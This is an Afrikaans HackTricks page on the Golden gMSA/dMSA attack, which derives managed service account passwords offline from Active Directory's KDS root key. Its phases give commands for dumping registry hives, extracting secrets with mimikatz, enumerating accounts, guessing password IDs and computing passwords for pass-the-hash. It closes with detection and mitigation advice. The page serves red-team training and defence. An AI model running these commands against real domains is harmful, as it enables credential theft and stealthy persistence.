Golden gMSA/dMSA Aanval (Offline Afleiding van Gemanagte Diensrekening Wagwoorde)

Reading time: 6 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Oorsig

Windows Gemanagte Diensrekeninge (MSA) is spesiale prinsipes wat ontwerp is om dienste te laat loop sonder die behoefte om hul wagwoorde handmatig te bestuur. Daar is twee hoof variasies:

  1. gMSA – groep Gemanagte Diensrekening – kan op verskeie gasheer gebruik word wat gemagtig is in sy msDS-GroupMSAMembership attribuut.
  2. dMSA – gedelegeerde Gemanagte Diensrekening – die (voorskou) opvolger van gMSA, wat op dieselfde kriptografie staatmaak maar meer granular gedelegeerde scenario's toelaat.

Vir beide variasies is die wagwoord nie gestoor op elke Domeinbeheerder (DC) soos 'n gewone NT-hash nie. In plaas daarvan kan elke DC die huidige wagwoord aflei ter plaatse van:

  • Die woud-wye KDS Wortelsleutel (KRBTGT\KDS) – ewekansig gegenereerde GUID-genaamde geheim, wat na elke DC gerepliceer word onder die CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, … houer.
  • Die teikenrekening SID.
  • 'n per-rekening ManagedPasswordID (GUID) wat in die msDS-ManagedPasswordId attribuut gevind word.

Die afleiding is: AES256_HMAC( KDSRootKey , SID || ManagedPasswordID ) → 240 byte blob wat uiteindelik base64-gecodeer en in die msDS-ManagedPassword attribuut gestoor word. Geen Kerberos-verkeer of domeininteraksie is nodig tydens normale wagwoordgebruik nie – 'n lidgasheer lei die wagwoord plaaslik af solank dit die drie insette ken.

Golden gMSA / Golden dMSA Aanval

As 'n aanvaller al drie insette aflyn kan verkry, kan hulle geldige huidige en toekomstige wagwoorde vir enige gMSA/dMSA in die woud bereken sonder om die DC weer aan te raak, wat die volgende omseil:

  • LDAP lees ouditering
  • Wagwoord verandering intervalle (hulle kan vooraf bereken)

Dit is analoog aan 'n Golden Ticket vir diensrekeninge.

Voorvereistes

  1. Woud-vlak kompromie van een DC (of Enterprise Admin), of SYSTEM toegang tot een van die DC's in die woud.
  2. Vermoë om diensrekeninge te lys (LDAP lees / RID brute-force).
  3. .NET ≥ 4.7.2 x64 werkstasie om GoldenDMSA of ekwivalente kode te loop.

Golden gMSA / dMSA

Fase 1 – Trek die KDS Wortelsleutel uit

Dump van enige DC (Volume Shadow Copy / rou SAM+SECURITY hives of afstandsgeheime):

cmd
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM  system.hive

# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch   # shows KDS root keys too

# With GoldendMSA
GoldendMSA.exe kds --domain <domain name>   # query KDS root keys from a DC in the forest
GoldendMSA.exe kds

# With GoldenGMSA
GoldenGMSA.exe kdsinfo

Die base64-string gemerk RootKey (GUID naam) is benodig in latere stappe.

Fase 2 – Enumereer gMSA / dMSA objekten

Herwin ten minste sAMAccountName, objectSid en msDS-ManagedPasswordId:

powershell
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId

GoldenGMSA.exe gmsainfo

GoldenDMSA implementeer helper-modusse:

powershell
# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap

# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
Fase 3 – Raai / Ontdek die ManagedPasswordID (wanneer dit ontbreek)

Sommige implementasies verwyder msDS-ManagedPasswordId van ACL-beskermde lees. Omdat die GUID 128-bis is, is naïewe bruteforce onmoontlik, maar:

  1. Die eerste 32 bits = Unix epocht tyd van die rekening se skepping (minute resolusie).
  2. Gevolg deur 96 ewekansige bits.

Daarom is 'n smal woordlys per rekening (± paar uur) realisties.

powershell
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>

Die hulpmiddel bereken kandidaat wagwoorde en vergelyk hul base64 blob teen die werklike msDS-ManagedPassword attribuut – die ooreenkoms onthul die korrekte GUID.

Fase 4 – Aflyn Wagwoord Berekening & Omskakeling

Sodra die ManagedPasswordID bekend is, is die geldige wagwoord een opdrag weg:

powershell
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>

Die resulterende hashes kan ingespuit word met mimikatz (sekurlsa::pth) of Rubeus vir Kerberos misbruik, wat stealth laterale beweging en volharding moontlik maak.

Opsporing & Versagting

  • Beperk DC rugsteun en registrasie heuning lees vermoëns tot Tier-0 administrateurs.
  • Monitor Directory Services Restore Mode (DSRM) of Volume Shadow Copy skepping op DC's.
  • Ouudit lees / veranderinge aan CN=Master Root Keys,… en userAccountControl vlae van diens rekeninge.
  • Ontdek ongewone base64 wagwoord skrywe of skielike diens wagwoord hergebruik oor gasheer.
  • Oorweeg om hoë-privilege gMSA's na klassieke diens rekeninge te omskep met gereelde ewekansige rotasies waar Tier-0 isolasie nie moontlik is nie.

Gereedskap

  • Semperis/GoldenDMSA – verwysingsimplementering gebruik in hierdie bladsy.
  • Semperis/GoldenGMSA – verwysingsimplementering gebruik in hierdie bladsy.
  • mimikatzlsadump::secrets, sekurlsa::pth, kerberos::ptt.
  • Rubeus – pass-the-ticket met afgeleide AES sleutels.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks